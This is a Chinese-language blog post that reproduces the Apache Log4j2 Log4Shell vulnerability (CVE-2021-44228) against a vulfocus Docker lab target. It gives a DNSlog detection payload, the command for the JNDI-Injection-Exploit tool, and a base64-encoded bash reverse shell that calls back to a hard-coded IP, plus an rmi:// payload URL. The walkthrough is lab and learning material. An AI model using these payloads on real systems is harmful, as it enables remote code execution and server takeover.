漏洞复现Apache_log4j2(CVE-2021-44228)

环境准备

搭建docker服务

1
2
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest

image-20231029204448313

点问号,会发现传参方式是GET

image-20231029204537659

先测试有没有log4j漏洞

测试漏洞

利用DNSlog验证漏洞存在

去dns平台获得一个dns

image-20231029205139684

构造payload:${jndi:ldap://你的dns网址},进行传参

image-20231029205716002

有dns解析记录,说明存在漏洞

漏洞利用

这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为https://github.com/bkfish/Apache-Log4j-Learning/tree/main
应用工具JNDI-Injection-Exploit搭建服务:

格式:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”

这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令

1
bash -i >& /dev/tcp/ip/port 0>&1

注意“命令”必须经过编码,不然将无法实现

image-20231029205947722

payload

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMjI5LjE2Mi4yMTcvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A 111.229.162.217

设置监听端口

在vps中打开一个页面,监听我们的对应的端口。

image-20231029210526653

image-20231029210548140

替换payload rmi://111.229.162.217:1099/fb08m1

在这里插入图片描述

执行java命令和接受反弹shell的主机要是同一台


漏洞复现Apache_log4j2(CVE-2021-44228)
http://www.qetx.top/posts/941/
作者
Qetx.Jul.27
发布于
2023年10月29日
许可协议